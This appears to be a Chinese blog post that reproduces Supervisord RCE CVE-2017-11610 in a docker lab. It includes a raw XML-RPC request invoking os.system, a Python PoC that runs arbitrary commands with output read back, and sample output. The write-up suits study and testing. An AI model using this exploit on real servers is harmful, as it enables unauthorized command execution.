Supervisord 远程命令执行漏洞(CVE-2017-11610)

简介: Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。

Supervisord 远程命令执行漏洞(CVE-2017-11610)

Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。

它相比Systemd有几个特点:

配置比较简单
一个简单的第三方应用,与系统没有耦合
提供HTTP API,支持远程操作

Supervisord的架构分为Server和Client,Server以一个服务的形式,跑在系统后台,而Client是一个命令行工具,其实就是根据用户的要求,调用Server提供的API,执行一些工作。

运行环境

docker-compose build

出现下列才算成功

Successfully built ea413f911658
Successfully tagged cve-2017-11610_web:latest
docker-compose up -d

环境启动后,访问http://your-ip:9001即可查看Supervisord的页面。

http://127.0.0.1:9001/

漏洞测试

进行修改直接执行任意命令:

POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 215
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

关于直接回显的POC

@Ricter 在微博上提出的一个思路,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)
    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)
    print(result[len(old):])

使用Python3执行并获取结果:./poc.py "http://your-ip:9001/RPC2" "command"

(guiltyfet㉿guiltyfet)-[~/桌面]
└─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "id"     
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
┌──(guiltyfet㉿guiltyfet)-[~/桌面]
└─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "uname -a"
Linux bef681518e5c 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux
┌──(guiltyfet㉿guiltyfet)-[~/桌面]
└─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "ip addr"

相关文章
|
NoSQL 安全 MongoDB
MongoDB 未授权访问漏洞利用
MongoDB 未授权访问漏洞利用
3213 0
|
存储 安全 API
什么是API Token?
API令牌是一种用于访问和验证API(应用程序编程接口)的安全凭证。它是一个字符串,用于识别和授权应用程序或用户访问特定的API服务或资源。==API令牌可以是访问令牌(Access Token)或密钥(API Key)==。
3317 0
|
6月前
|
前端开发 NoSQL Java
jeecg-boot
JeecgBoot 是一个基于 Spring Boot 和 Vue3 的低代码开发平台,支持快速构建企业级应用。平台提供源码下载、技术架构清晰,涵盖前后端详细配置及代码生成指南。用户可通过 GitHub 获取源码,使用 IDEA 和 WebStorm 开发,结合 MySQL、Redis 等组件实现系统搭建。平台内置代码生成功能,支持表单开发、菜单配置与权限管理,便于快速实现增删改查等业务需求。
 jeecg-boot
|
11月前
|
SQL 调度 数据库
开发YashanDB数据库?用 DBeaver for YashanDB 更顺手
数据库开发复杂易错,尤其在企业级场景中。为提升效率,YashanDB 团队基于 DBeaver 开源工具打造专属解决方案——DBeaver for YashanDB。它支持多类型数据库对象管理(表、视图、函数等),适配 YashanDB 特有表结构(HEAP、LSC),提供智能补全、语法高亮、SQL 调试等功能,让开发更高效流畅。推荐用于数据库应用开发团队、高频调试用户及中大型企业统一工具栈场景。
|
12月前
|
SQL 存储 运维
【赵渝强老师】达梦数据库的客户端工具
本文介绍了达梦数据库的多种工具及其使用方法,包括disql交互式查询工具、数据库配置助手DBCA、DM管理工具、DM服务查看器、DM控制台工具、DM数据迁移工具、DM性能监视工具以及DM审计分析工具。每种工具的功能和操作步骤均有详细说明,并配有相关图片和代码示例,帮助用户更好地理解和使用这些工具,提升数据库管理和维护效率。
1371 1
|
SQL 安全 数据可视化
代码审计神器:Fortify SCA 保姆级教程
代码审计神器:Fortify SCA 保姆级教程
代码审计神器:Fortify SCA 保姆级教程
|
消息中间件 存储 数据可视化
中间件日志收集与流处理
【6月更文挑战第17天】
733 3
|
网络协议 Shell 网络安全
Windows环境下安装nc工具
本文介绍了网络工具Netcat(nc)的下载、配置和基础使用。首先提供了nc的下载链接,建议在安装时避免中文路径并关闭杀毒软件。接着,展示了配置nc环境变量的步骤,包括在系统设置中进行相关操作。然后,通过开启两个命令行窗口进行简单的验证测试,如监听端口(nc -l -p9000)和建立连接(nc localhost 9000)。最后,提到了nc的多功能性,如端口监听、扫描、文件传输和远程shell,并列出了一些常用参数选项,例如 `-l` (监听模式) 和 `-p` (指定端口)。
6308 0

热门文章

最新文章